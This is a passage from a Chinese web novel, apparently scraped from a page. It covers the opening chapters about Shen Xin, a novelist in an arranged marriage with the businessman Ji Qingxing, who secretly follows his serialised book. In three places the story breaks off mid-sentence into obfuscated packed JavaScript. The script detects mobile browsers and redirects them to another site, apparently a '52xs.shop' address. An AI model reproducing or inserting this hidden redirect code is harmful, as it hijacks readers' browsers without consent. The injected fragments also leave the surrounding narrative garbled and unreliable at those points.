《替身男神带球跑了》 1. 沉老师的狗 书房门紧闭,屋里拉着厚厚的蓝灰色窗帘,新风系统轻轻发出空气流通声,昏暗中,唯一的光源是电脑显示屏。 沈昕的双眼从防蓝光平镜后盯着空白的文档。 他的眼睛形状漂亮,睫毛很长,深琥珀色瞳孔本该非常动人,可此时却陷入呆滞,完全没有焦点。 因为他卡文了。 大卡特卡。 整整三天,每天坐在电脑前十个小时,连吃饭睡觉都在拼命地想,拼命硬写至今,新章还不到三百字。 这种情况从来没有过。 以前写东西一直挺顺,首次卡文,他缺乏应对的经验,想到一直在等的读者就更焦虑了。 他摘下平光眼镜,按了按发酸的眉心,双手捂脸低头,“咚”地一声砸在键盘上。 混乱的字符疯狂跳出,沈昕抬眼看去,欲哭无泪。 这个电脑它为什么就不能自己写呢? 他又站起来,端着咖啡杯在房间里踱步,心想这次卡文会不会是换环境导致的? 这时,窗外突然“轰隆”一声,咖啡杯里的水猛地一晃。 闷雷、水…… 沈昕一愣。 双眼再度一挑,瞳孔染上锐利的光芒。 他终于…… 有!灵!感!了! 赶紧坐回电脑前,双手放在机械键盘上,修长的指节一抬,正要下落,突然想起一件事情。 墙上的挂钟显示下午快6点。 他考虑了一下,拿起手机发信息:[不好意思我突然有急事晚点儿过去]。 不等回复就将手机静音扔到一边,又撕下一张便利贴,遮住显示屏右下方闪动的时间—— 灵感稍纵即逝,现在的他绝不能受到任何打扰。 纪轻行,那个他名义上的新婚丈夫,就先当不存在吧。 稍纵即逝的灵感只要抓住就是一泻千里,卡了三天的沈昕这下总算写了个酣畅淋漓。 写完一大段情节,然后修改、发出,沈昕长长地吁了口气,关掉电脑,这才感觉到眼睛疼。 书房比先前更加昏暗。 他起身去拉开窗帘,外面天已经黑了,还下着雨,路灯和远处别人家的灯光影影绰绰,像油画里的色彩。 这时已经8点15分了。 哎。 一股不好的预感。 拿回手机一看,果然,他名义上的新婚丈夫,年轻有为帅气多金的纪轻行纪总,6点半发信息问他“什么时候能来”,7点发信息问他“过来了吗”,7点10分到7点40分之间打了8个电话,然后再无动作。 应该是生气了。 沈昕鼓了鼓腮帮子,发了条语音—— “不好意思,才把事情办完,我现在过去,大概半小时后到。” 说完立刻换衣服,一路小跑去地库开车,开上路没多久就发现刚才的话说草率了。 “不好意思啊,半个小时估计到不了,下雨路上特别堵。”他继续发语音,想了想又说,“我等快到了再联系你吧。” 周五、晚上、下雨、去往市内的繁华地段,四者叠加的威力给足了沈昕这个为结名义上的婚回国才刚不久的文艺宅震撼。 他不停地看手机,时间一分一秒过去,纪轻行始终没有回复。 估计是气炸了。 ……哎。 雨刷反复推开朦胧的夜景,车子像乌龟一样爬行了一个多小时,目的地总算近了。 然而最后一段路的拥堵程度实在超乎想象,沈昕观察周围,一转方向盘,决定把车停进路边的商场,下车走过去。 大雨里,风把伞刮得呼呼响,他走得并不轻松,十多分钟后终于到了,站在私人会所外,正在感叹这一路简直比西天取经还艰苦,最后一难便接踵而至。 私人会所只有会员才能进入,他不是会员,原计划是提前联络他名义上的丈夫,让纪总带他进去,但现在纪总生气了,任他打电话发信息只是不理。 领证至今不到一周,他没有纪轻行身边工作人员或朋友的联系方式。 如果跟礼宾说他是来找纪轻行的,请求通融,或者让礼宾向纪轻行求证,又或者直接搬出纪轻行丈夫的身份…… 不妥。 沈昕自己家里做的是酒店业,深知越是高端的场所员工越守规矩,他真那样说不过是为难这个最前线的礼宾罢了。 何况从礼宾的角度看,大晚上突然冒出来个半身是水的人,说是纪总的丈夫,却进不去门也联络不到人,倒更像是来找麻烦的,傻子才会理他。 沈昕只好先在周围找个稍微能避雨风的地方,不遗余力地继续联络他那生了气的丈夫。 心中默默数数:再打十个电话,还不接他就走。 结果纪总王八吃秤砣铁了心,十个电话打完,沈昕郁闷望天,最后又发了条语音—— “一直联系不上你,那我先回去了。” 就事论事,今天约好了他迟到是他不对,纪总生气也在情理之中,所以他始终情绪稳定,始终态度很好,把事情做到这一步他尽力了。 就这样吧。 折返向停车的商场,沿着路边走了没多久,一辆黑色轿车突然停在身边。 “沈先生!沈先生!沈先生——!” 下着雨打着伞,沈昕走得快,又构思着连载内容,好一会儿才听见。 停下脚步一看,从车窗里露出脑袋的好像是…… 纪轻行的助理? 助理笑笑,打开车门走下来。 “沈先生您……忙完了啊?哎呦,您刚才给纪总打电话了吧?纪总稍微喝多了点儿,这会儿在车上养神呢,估计把手机调成静音了,来来来您上车,我送您和纪总回家。” “我开车了,停在前面天圣,要么你送我去天圣?” 助理眼睛一转,说:“沈先生您看这样行不行,您把车钥匙给我,您的车我开,您让我开到哪儿我就开到哪儿,您呢开纪总这辆,和纪总直接回家,咱们都方便,哈哈哈!” 听起来是有道理。 尤其助理说了“都方便”,沈昕一向不愿麻烦别人,被这话术和助理的热情笑容促动,不由自主地就把车钥匙掏了出来。 助理接过钥匙,“嗖”地转身跑了。 沈昕:? 难道不是一起开车到天圣再…… 人都跑没影了,他没办法,只能接过助理的班,担任纪总的司机。 他在车前站了片刻。 天黑,车也黑,后窗拉着帘子,听不到一丁点儿动静。 但你知道里面有人,而且是个正在生气、堪称愤怒的人,这场面莫名地就有了一股深不见底的紧张感。 沈昕蹙眉,再度鼓鼓腮帮子,拉开车门坐进驾驶位。 微微屏息,关门、调整座椅、系安全带,借着灯光观察中控、扶方向盘、发动、上路。 其间余光一直向后瞟着。 阴影里还是动静。 好像连呼吸声都没? 不会是…… 死了吧? 搞创作的人思路一向很飞,这个念头冒出来,沈昕忍不住笑了。 没笑出声,只是抿着嘴,肩膀抖了一下。 却就被发现了。 身后的声音凉凉道:“放我鸽子,沈少这么开心?” 沈昕:…… 活着呢,且明察秋毫。 沈昕稍稍侧头,看到纪轻行掩在黑暗里的半个身子,穿着蓝色衬衫和西裤。 他清了下嗓子,平静地说:“我这不叫放鸽子,叫迟到。” “你这叫犟嘴。” 沈昕:………… 外面下雨,车里也有潮气,香薰味道很淡,夹杂着不深不浅的酒味。 沈昕把油门踩深,说:“你喝多了,早点儿回去睡觉吧。” 纪轻行却说:“雨天路滑,车速慢点儿,注意交通安全。” 沈昕不疑有他,说:“没事儿,我开车好多年了,长途、高速我都开过,这不算快。” “但问题是我现在对你很不信任,毕竟前两天答应的时候也信誓旦旦呢。” 图穷匕见。 沈昕皱了下眉,把油门松了些。 身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320358|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的人似乎笑了一下。 “对了,你知道今天你没来,我怎么跟他们解释的吗?” “我来了,是你故意不让我进去。” “沈少。”纪轻行声音冷了,“听说你名校出身,文科尤其好,怎么听话抓不住重点呢?” 沈昕更加皱眉。 原来这就是他这个名义上的丈夫的撒气方式。 幼稚得跟三岁小孩儿似的。 开眼了。 他不爱跟人争执,上头吵架更是从来没有,何况今天这事的确是他错在先。 今晚在会所,纪轻行约了几个关系好的朋友,因为他俩之前达成一致,只领证不摆酒,朋友们不能容忍纪轻行结婚结得这么草率,要求他必须做东请一次客。 性质上非常私人,但往大了说就是他俩的新婚答谢宴,他的迟到终归和普通迟到不一样。 他便暂且忍了纪轻行的撒气,语气依旧平静:“我又没上去,我怎么知道你怎么跟他们解释的。” 纪轻行:“我说你病了,病得很重,但你非常重视今晚的聚会,挣扎着要来,觉得不来就是不给我和大伙儿面子,是我强行把你按住,呵斥你、命令你,你才终于听话。” 沈昕:……………… 内心戏这么丰富,他这个职业写戏的都要被比下去了。 纪轻行这么说,当然是一边要酸他,一边想让他也生气。 可是生什么气呀,且不说这些话大概率是编的,就算是真的也无所谓。 今晚局上的人他都不认识,那些人怎么想他根本不在意。 于是他淡淡地说:“哦。” 突然被堵,纪轻行接下来好半天都没说话,肉眼可见地没招,又过了一会儿才重整旗鼓。 “你说你有急事,什么事?” 沈昕一愣,这茬没提前想。 他没回答,纪轻行便嘲道:“呦,还有自己的小九九呢,什么事这么私密,不能跟你老公我说啊?” 沈昕:…………………… 鸡皮疙瘩都起来了,要不是在开车,他一定能抠出个别墅来。 “是……我家里的事。” “哦,家里的事,需要帮忙吗?我问问……咱爸?” 阴阳怪气的,明显是在警告他谎言分分钟就能被揭穿。 服了,好歹也是个总裁,怎么一点儿都不大气。 回去的路简直是另一种西天取经,沈昕干脆闭嘴,好在纪轻行也开始看手机,不找他的茬了。 终于到家,沈昕把车停到地库,要下车的时候,纪轻行仍然坐在后座,双手捧着手机,眼睛盯着屏幕,一动不动。 “我看个东西,你先上去吧。” “好。” 沈昕当然不执着跟他一起走,就是觉得这时的纪轻行跟刚才的吊儿郎当又贱又嘴毒完全不一样,非常认真专注,一瞬间沉稳成熟了。 估计是有重要的工作,连下车回家再看都等不及。 沈昕一路想一路进门,刚换了鞋,手机便“叮咚”一声。 是他写书的网站发来的通知—— [用户“沉老师的狗”向作者沉心送上飞船!] 一艘飞船是一万块钱。 很巧,今天这艘飞船是这个“沉老师的狗”给他送的第一百艘。 他轻声说了句“谢谢”。 读者送飞船拥有全站公开评论的福利,“沉老师的狗”会说什么呢? 他期待着。 地库。 纪轻行在昏暗的车里捧着手机敲字—— [一日不见如隔三秋,三日不见如隔九秋。今天本来非常不好,但看到沉老师更新的这一刻我又好了!永远支持沉老师!] “叮咚——” 沈昕看到了这条评论,全站所有在看书的人都看到了这条评论。 沈昕仔细读过这短短的一段话,脸上露出微笑。 这就是创作者最幸福的时刻吧。 他把评论收藏,默默心想嗯,他和“沉老师的狗”一样,本来今天不太好,却都又因为未曾谋面的对方彻底好了起来。 2. 是女孩子 沈昕脱下潮湿的衣服,进浴室洗澡。 在风雨里跑了一趟,此时大股大股的温水从头浇下来,每一个细胞都叫嚣着舒适。 他习惯性地开始构思。 暖热的淋浴很能发散思维,也很能让人变懒。沈昕脑速飞快,动作却越来越慢,待在暖意朦胧的浴室里,简直不想出去了。 不知过了多久,浴室门突然被推开。 凉风“嗖”地冲进来,同时冲进来的还有一个高挑的人影。 沉浸在意识里的沈昕吓了一跳,退后一步,隔着花洒喷下的水帘,惊恐地看着衬衫西裤穿得齐整的纪轻行。 纪轻行的脸瘦长,棱角分明,双眼眼型类似单凤,只是眼尾挑得不够,稍稍下压,削减了古典韵味,更显深邃与气势。 此时此刻,这双深邃的眼睛看着他,自上而下,再由下向上,不动声色地从打量变成探寻,渐渐意味深长…… 沈昕猛地回神,连忙向里侧身。 “啧。” 纪轻行吊儿郎当地发出了个轻佻的语气词,挑眉像领导视察般把浴室里里外外看过一遍,关上门走了。 ……有病。 沈昕不忿地鼓起腮帮子,迅速洗好澡,擦干身体换上居家服,头发吹了个半干,下楼去厨房。 晚上一顿折腾,还没吃饭,他现在很饿。 没有深夜大吃大喝的习惯,他煎了个鸡蛋,冲了半碗麦片,再配一根水果黄瓜。 坐在餐厅,戴上平光镜,边吃边看手机。 今天发的新章已经有了不少评论,但没有“沉老师的狗”的,他便去翻前面章节的评论—— 没错,“沉老师的狗”不仅出手大方,写评论也不惜笔墨,短评时而抖个机灵,插科打诨趣味横生,长评则严肃认真,或讨论内容、技巧、文韵,或从人物与情节延展开去,时常说到沈昕的心坎上,亦令其他读者赞叹不已。 所以虽然未曾谋面也没私下聊过,但如此一来二去日久天长,沈昕就觉得他们已经很熟悉了。 比现实中真正认识的许多人都熟,包括…… 突然也来到客厅的他那名义上的丈夫。 沈昕从手机上抬头撩了一眼。 纪轻行也洗了澡,发梢微微滴水,深蓝色大V领睡袍随便系着,露出一大片胸膛。 ……无语。 纪轻行端着笔记本电脑,走到整张餐桌离沈昕最远的地方坐下,盯着电脑飞速敲字,有时停下来思考。 总裁亲手敲字?没秘书么?因为工作太急或者太重要,无法假手他人? 估计是,毕竟刚才连车都顾不上下。 但为什么要来餐厅工作呢? “干嘛一直盯着你老公我看?知道很帅了,收一收吧。”纪轻行冷不丁地说。 说得沈昕一愣,反应了一下才意识到这是在跟他说话,又反应了一下,才意识到这话有多么不要脸。 ……大无语。 沈昕立刻看向别处。 纪轻行从电脑上抬头,幸灾乐祸地欣赏了一会儿沈昕吃瘪的样子,问:“你近视?” 倒是个正常问题。 沈昕伸手推了一下眼镜,说:“不近视,这是平镜,防蓝光,看电子产品的时候戴,保护眼睛。” “哈?”纪轻行的语气非常浮夸,“没想到你是吃智商税长大的。” 沈昕鼓起腮帮子,道:“这怎么就是智商税了?” “你说不是就不是吧。”纪轻行摊手,一副懒得跟你掰扯的模样,低头继续敲字。 沈昕不快地动了动嘴。 打从心底里说,他也不相信戴这样一副镜片就真地能保护眼睛,但是…… “这是梁叔叔送给我的。我妈去世以后,我爸认识了梁叔叔,他们怕伤害到我,起初一直瞒着我,梁叔叔想尽办法、无微不至地对我好……” “所以他对你好是有目的的,他希望你接纳他。”纪轻行戳穿。 “有目的是有目的,好也是真的好,这两者可以不冲突。”沈昕认真地说。 “送一副智商税眼镜就是好?”纪轻行嘲道。 “纪总,现在是谁听话抓不住重点?我说了,梁叔叔想尽办法、无微不至地对我好,送眼镜只是其中之一,他能为我考虑到方方面面,甚至连无需考虑的也考虑了,那么我乐于接受他的好意,随手戴一下你所谓的智商税眼镜,又费什么事呢?” “不费事啊。”纪轻行不咸不淡地说,“我本来就没想跟你争论,是你非要跟我解释。” “因为这涉及到了我的家人。” 纪轻行顿时停下动作,挑起眉,目光有些复杂。 “你,很爱你的家人?” “当然,他们也很爱我。”沈昕笃定地说。 纪轻行却是一副看戏的表情,片刻后不置可否地点了点头,又片刻后笑了。 沈昕皱眉道:“你笑什么?” 纪轻行的眼神变得戏谑:“沈少你忘了,你老公我也是你的家人。” 沈昕:…… 超级无敌无语。 沈昕把吃完的碗和盘子垒在一起,拿着去厨房放进洗碗机。 餐厅里,纪轻行敲下回车键,餐桌上沈昕的手机“叮咚”了一声。 沈昕从厨房出来,再没跟纪轻行说话,拿着手机回了卧室。 他和纪轻行分房睡。 留下一盏床头灯,他躺在被子里,打开手机,看到不久前“沉老师的狗”发了长评。 是对文中人物的解说,全面、透彻、成熟,文笔精到,风趣幽默。 沈昕一边看一边想:这个人是做什么职业的?语言文学相关吗?还是天生就细腻敏锐?又或者是经历丰富造成的?说不定他的年纪已经很大了。 一直看到长评结尾处,“沉老师的狗”写道—— [主角不愧是主角,比我丈夫好多了,我丈夫吃饭就是自己吃自己的,从头到尾一句“你饿不饿要不要也来点儿”都不会问。结婚前光顾着看脸了,根本没想到他居然是这种人!] 沈昕“噗嗤”笑了。 然后鬼使神差地冒出一个念头:原来是个女孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320359|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,怪不得理解能力和表达能力这么好。 翻着大伙儿的评论,越看越没睡意,新想法反而一个接一个。 沈昕干脆坐起来,打开手机备忘录记录,既有关于正在连载的这本书的,也有一些天马行空的想象,可以作为新书的准备。 他一一梳理、分类,又怕好想法拖一拖就跑了,索性继续成文,一口气写了五千多字。 终于停下来的时候,居然已经凌晨快五点了! 精神还很兴奋,身体却的确感到了疲劳。 得睡觉。 活动了一下酸困的肩颈,他关上床头灯,整个人缩进轻软的被子。 身体与精神的双重满足令他很快就沉入梦乡,不知世界为何物。 直到又被突如其来的闯入打断,他硬生生惊醒,仿佛正安稳地走在朦胧梦幻的桥上,陡然脚下一空,冷汗顿时爬了满身,心脏也揪紧了。 他从床上弹起来,匪夷所思地看着纪轻行。 “你干什么?!不知道别人在睡觉吗?这里……”他四处看了看,“这里有什么你必须进来的必要?!昨天晚上也是,别人洗澡你也要突然进去,我昨天已经忍了,你今天又……你、你是有什么毛病吗?” 纪轻行静静地看着他,并没有因为他的话表露出不快,反而说:“你只是在睡觉就行了。” 沈昕蹙眉:“什么意思?” “我看你前几天没有这么晚了还在睡的。” 沈昕看了眼表,上午十点半,更是气不打一处来:“你才看过我几天,我就不能熬个夜吗?怎么跟你结婚还必须早睡早起啊。” 纪轻行抱起双臂,不答反说:“昨天进浴室也是看你洗澡洗了很久,怕你出事,进去确认一下。” ……也? 意思是现在也是看他一直不起床怕出事? 纪总岁数不大,忧虑却已经这么重了吗? 沈昕凌乱半晌后说:“那你现在看过了,能走了?” 纪轻行没说什么,关门离开。 沈昕继续凌乱,整个人向后倒去,开始消化新的一天刚开始就劈头盖脸打过来的一顿郁闷。 他本来就有起床气。 加上常年创作,对写书这件事的重视已经稍显病态,总觉得如果前一天没睡好第二天就写不好,所以惊醒会令他焦虑。 他也非常重视私密空间,考虑到和纪轻行到底是婚姻关系,反锁门不太好,没想到纪轻行居然这么没分寸。 那就不能怪他了。 就反锁。 沈昕再次从床上弹起来,赌气地去反锁了门,回来重新躺下。 时间一点点流逝,复杂的起床气一点点消弭,他开始有一点点后悔。 刚才那样说话是不是有些过分? 如果纪轻行说的是真的,那他也是好意。 好意…… 个屁。 沈昕的腮帮子又鼓了起来。 不要后悔不要反思,纪轻行明明心里有别人还能毫无负担地和他结婚,这种人渣根本不值得他后悔反思! 3. 仙人跳? 沈昕和纪轻行是实打实的“包办闪婚”。 事情发生在一个月前。 因为时差,沈昕接到家里电话的时候是清晨刚起床,他爸爸沈知易吞吞吐吐地说完,他看了看手机,又看了看窗外,又掐了自己一把,确定这是真实。 但也太不真实了吧! 他大学时就去了国外,四年本科加一年硕士,现在毕业还不到一年,催婚当然太早,但家长才不管这些,所以实际上,他是预想过这种事的。 只不过在他的预想中,大约就是他爸爸问一问“最近怎么样”、“有没有认识新朋友”、“我们昕昕这么好,追求者一定很多吧”、“爸爸有个朋友的孩子跟你差不多大,介绍你们认识,有空一起玩”…… 之类比较含蓄的方式。 他也预想过,如果这种情况真地发生了,他会接受。 他会顺着家里的意思认真地去相亲。 因为从小到大,家里无条件地对他好,满足一切要求,包容一切任性,他想出国就出国,想学什么就学什么,想不回来就不回来,想不工作就不工作。 圈子里像他这个年龄的“二代”,几乎全都接手了家里的生意,很多人更是从小培养,各个背着一副重担。 只有他没有压力。 只有他从小就反复听父母说“我们希望你顺心快乐”。 只有他可以在这个年纪把自己关在房间里尽情地看书、写作。 家里人知道他在写作,但不知道他已经写出了成绩和名气,以为就是偶尔写着玩儿,即便这样,家人还是全力地支持他、鼓励他。 他怎么能不感激?怎么能不为所动? 所以只要是能做到的,他都愿意为家人做到。 何况他对感情和婚姻并不执着,为了让家人安心去相亲,找一个各方面都合适的人结婚没什么不行。 只是相亲挑选变成定向联姻,他从没想过。 需要一些时间消化。 终究是不太在意的事情,加上电话里沈知易明显表现出了对此事的期望,他并没有消化太久。 ……纪轻行。 几年前,好像是高中的某个暑假,和沈知易一起参加聚会时见过这个人,记得当时长辈们都夸他,什么特别优秀,栋梁之才,以后天下是他的…… 听起来又尬又厉害。 半个月前他回国,先和纪轻行单独见了一面,见面后两人都没有反悔,两家人便见面。 一周前,他和纪轻行去领证,然后…… 就这样了。 - 纪轻行要工作,平时在家的时间不多,但胜在细心,没过多久就发现了沈昕的改变—— 反锁门。 各处的门。 除了客厅、餐厅、厨房这些实在锁不了的,沈昕所到之处,明晃晃地写着“离我远点跟你不熟”八个大字。 一天忍了,两天忍了,但三五天过去,旧恨又添新仇,纪轻行忍无可忍。 “怎么,又要躲起来干见不得人的事情啊?” 沈昕端着水杯正上楼,听到这话脚步一顿,回头看去,纪轻行架着二郎腿坐在客厅沙发上,低头刷手机,但注意力明显不在手机上,只是装作满不在乎,实际上三岁小孩都能听出他的阴阳怪气,他是故意挑衅,不吵一架就不罢休的那种。 沈昕不想起冲突,平复了一下呼吸,说:“我需要一些私人空间。” “需要私人空间就别结婚啊。”纪轻行凉凉道。 沈昕压着不耐烦道:“结婚也不代表两个人要时时刻刻黏在一起。” “呦,时时刻刻黏在一起?”纪轻行按灭手机往旁边一扔,正视楼梯上的沈昕,“沈少你说说,我纪轻行怎么黏你了,需要你在家像防贼一样防着我?约好了事情放鸽子,连领证都迟到,也是因为我太黏你你受不了吗?怎么我都这么黏你了,但至今还不知道你是胖是瘦是黑是白,别说碰一指头,一个被窝都没躺过呢,沈少,你是不是对‘黏在一起’这四个字有误解啊?” 沈昕皱眉。 他不想提,纪轻行倒提起来了,没见过这样倒打一耙的。 他捏着水杯杯柄,暗暗用力,想要发作。 但更加知道有些事一旦发作就无法挽回,他不确定现在究竟应不应该,思来想去,决定还是不要冲动。 “我这会儿有事,先不跟你说了。” 撂下话,沈昕转身上楼,进了书房照旧反锁上门,把水杯放在桌上,发出“咚”的一声—— 本来许诺了今晚加更,但他现在状态很不好。 纪轻行真是够讨厌的,早不找事晚不找事偏挑这个时候找事!还理直气壮的,凭什么?! 其实领证那天他没迟到,甚至特意提前了二十分钟。 到了以后,他去洗手间整理衣服头发,整理完了推门要走,突然听到外面传来半生不熟的嗓音,定睛一看,走廊上不远处站着的人正是纪轻行。 沈昕没有出去,而是把洗手间的门往回收,留下拳头大小的空隙。 因为纪轻行正在打电话,说的内容分明与他们结婚相关。 “结就结吧,只要自己不把这件事看得太重,那就不重。” “嗯,家里安排的,他们看上了,我有什么啊,我之前都不认识呢。” “嗐,就那回事儿,一个绣花枕头,草包罢了,能有多好。” “说什么呢,只是名字听起来像,根本没法比好吧。” “满意啊,我又不指望他什么,干嘛不满意?” “行,再聊,挂了。” 沈昕:…… 沈昕:………… 沈昕:……………… 他写过不少小说,那时却是第一次,觉得自己的生活也变成了小说。 当时他最担心的是纪轻行进来洗手间跟他撞个正着,事情穿了会相当尴尬,预备先躲进隔间,不料纪轻行并没有往洗手间来,挂了电话就直接去往走廊出口,看来只是为了接电话专门挑了个人少僻静的地方。 正巧让他听见。 这时他的电话也响了,是纪轻行打来的。 沈昕的胸口紧了一下,调整呼吸接起来。 “你好。” “嗯,我已经到了,你呢?” “我……” 这个瞬间,沈昕的本能超越了思想,他听到他的声音自动说道—— “不好意思,路上有点儿堵,我得等下才能到。” “大概多久?” “……不好说。” 话音落,纪轻行沉默。 听筒里传来压力。 很快,压力消于无形。 纪总很绅士地答道:“好,你不要着急,路上慢点儿,到了给我打电话。” “嗯。” 两幅面孔。 明明白白的两幅面孔。 沈昕谎称迟到,是因为突然得知了计划外的信息,需要重新考虑一下结婚这件事。 他为什么结婚? 为了让家人安心。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320360|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 现在知道纪轻行心里有别人且看不上他,如果询问到底或讨要说法,就成了在意纪轻行的感情。 事实上他并不在意。 纪轻行心里有别人,且看不上他,却和他结婚,这固然令人不齿,但还尚未恶心到不共戴天的程度。 而且他自己同意结婚的缘由本就背离了结婚的本意,如果纪轻行一心一意,他反而会有些愧疚。 现在这样,似乎诡异地……挺好? 他应该还是可以继续做到“让家人安心”。 半个小时后,他想通了,假装迟到刚来,和纪轻行有惊无险地领了证。 然后纪轻行回公司上班,他们甚至没有一起吃顿饭。 婚房早已布置完毕,按计划,领证后二人搬进去,那天沈昕便一个人先去了。 看过所有房间,他给纪轻行发了个信息—— [我想先分房睡一阵子,你看可以吗?] 结婚这件事他想通了,至于别的,他打算再观察观察。 没有等太久,纪轻行回了[随你]。 当时他觉得,一个心里有别人且看不上他的名义上的丈夫,收到这样的信息,应当会有如释重负之感,但最近看来似乎不是。 似乎纪轻行想两头都占。 ……这么不要脸吗? 书房里,沈昕鼓着腮帮子一脸烦躁。 今天承诺的加更是幸福快乐的内容,以他现在的情绪根本写不好,思来想去,他一边在心里痛骂纪轻行,一边打开小说编辑后台。 气泡音响。 [您的特别关注作者沉心更新了动态。] 正烦躁刷手机的纪轻行看到提示,心情立刻雀跃起来,仿佛整个天空都亮了。 上次送了飞船,沉心说要加更回馈,现在一定是…… “唰”地一下,纪轻行的脸又垮了,整个天空阴云密布。 不是更新,是请假。 说临时出现了不可抗力。 妈的。 祸不单行。 这是他现在糟心的生活里仅有的、唯一的快乐,难道老天爷连他这仅有的、唯一的快乐也要剥夺吗?他究竟做错了什么?! 最后一根稻草压了上来。 成年人的崩溃就在一瞬间,恶意骤然过量爆发,纪轻行攥了下拳头,上楼来到书房外,先扭门把手,没扭动,便“嘭嘭”敲门。 “沈昕,出来。” 片刻后。 “沈昕你出来,我话还没说完呢,你走什么走?你在害怕什么?!” 门开了。 沈昕按着门把手,脸色非常难看,完全没有让纪轻行进来的意思。 他性格温吞,但也一向认真,在某些特殊时刻就会变成较真。 “纪总你太霸道了,说句难听话,这栋房子有一半是我的,我划出一半来要求你不能踏入没问题吧?” “有一半是你的?开什么国际玩笑?你认真的吗?这么快就忘了自己是什么身份了?”纪轻行的眼神充满嘲讽,毫不留情地说,“沈少,听你这意思,我是不是被你们一家子耍了,遇上仙人跳了?这河还没过呢就要拆桥啊?!” 沈昕一愣。 不知道为什么,他的气势突然弱了。 他有些恍惚,甚至有些慌张。 他好像抓到了一个非常关键的信息,又非常不确定。 “……纪轻行,你、你到底什么意思?” 放松的瞬间,纪轻行猛地向前推门,一步逼近了沈昕。 4. 缺个老婆 “该我问你什么意思吧?” 纪轻行手向后一甩,书房门“嘭”地一声关上。 他四处看了看,走到书桌边,拉开椅子坐下,挺长的手指有一下没一下地在桌面上敲,嘲讽哼道:“干正事呢?” 沈昕盯着桌上放着的硬皮本,呼吸提了起来。 那是他用来记录灵感的,如果纪轻行闲得无聊或者没眼色,翻开看看就糟了。 直接拿走显得此地无银三百两,他径自忐忑着。 这时纪轻行说:“今天下午你爸给我打电话了,话里话外暗示我快点儿给钱,沈少,你换位思考一下,如果你是我,面对结婚后的这种种,你会怎么想呢?” 此时此刻,他不再带着情绪,而是像处理工作,进行一场他并不满意的谈判。 沈昕有点儿没听懂,诡异的慌张感又来了。 “出、出什么钱?” 纪轻行挑眉。 浸淫商场多年,他的交际本事一流,一眼就看出了问题。 “你不知道?” “知道什么?” 纪轻行沉默。 沈昕更紧张了。 钟表走针的声音与自己的心跳声渐渐清晰,渐渐震耳欲聋,鼻尖冒汗,呼吸开始急迫。 时间变得漫长。 不知过了多久,纪轻行站起来向门口走。 “你不知道就算了。” 然而沈昕却不知从哪里来了勇气,快步追上去,攥住纪轻行的手腕,眼神非常认真。 “你告诉我。到底发生了什么,请你一五一十地全部告诉我。” 纪轻行审视他。 犹豫、思索,片刻后恢复常态,表情平静之中带着少许吊儿郎当,拧眉蜿蜒曲折地说:“疼。” 沈昕一愣,低头,连忙放开手。 纪轻行抬起手腕,不急不缓地转动,不急不缓地说:“沈少,你怎么看待和我的婚姻?” 沈昕说:“商业联姻。” “你对你家倒是挺有信心。”纪轻行语气不屑,转身下楼,沈昕跟上去。 他知道纪家的生意做得很好,纪轻行亦是圈子里最有能力的年轻人,至于他家…… 难道远远不如? 没有人跟他具体说过,他就觉得他们两家是差不多的。 倘若真是远远不如,纪轻行又为什么会跟他结婚呢? 到了客厅,纪轻行坐在沙发上,翘起二郎腿,抬眼看着站在茶几对面的沈昕。 “我的生意涉及面很广,最近的着力点是文旅娱乐这一块,前阵子,我计划收购你家的酒店集团,几番谈判,你爸大概实在是走投无路了,居然说只要能停止收购,他愿意满足我提出的任何要求。这太好笑了,我就顺着开玩笑说,我能有什么特别的要求,现在就是缺个老婆,能满足吗?” 沈昕的表情愣愣的,脊背后面却满是凉意。 “所以……” “我是开玩笑,说过就忘了,没想到你爸当了真,过了几天跟我说他可以把你……送给我。”纪轻行也挺无语,“‘送’字是他的原话,可不是我说的啊。接着又跟我夸你,说你模样好、脾气好、听话,而且继承了古代白虎体质的基因,能生孩子,总之不亏,非常不亏,甚至可以说是赚了,还说我跟你结婚,你家的酒店未来有一半是我的,与我的初衷相差无几,我的资金也可以帮你家渡过难关,实现双赢。” “渡过难关?”沈昕蹙眉,“什么难关?” “这你也不知道?你究竟是不是你们家的人啊?”纪轻行顿了顿,“简单说就是经营不善加投资失败,撑不了多久了。我的生意欠缺酒店的部分,你家的品牌还算有价值,所以我想收购。结果呢,你爸拿你当筹码,想既阻止了收购,又利用我翻身,绝地逆转啊。” “既然如此,你为什么会答应他?” 沈昕此时完全懵了,下意识地避开堪称晴天霹雳的真相,转而寻找逻辑上的漏洞。 好像只要找到漏洞他就能说服自己真相并非如此,尚有挽回余地。 为什么答应? 纪轻行露出琢磨的表情,像是直到现在才认真思考这个问题。 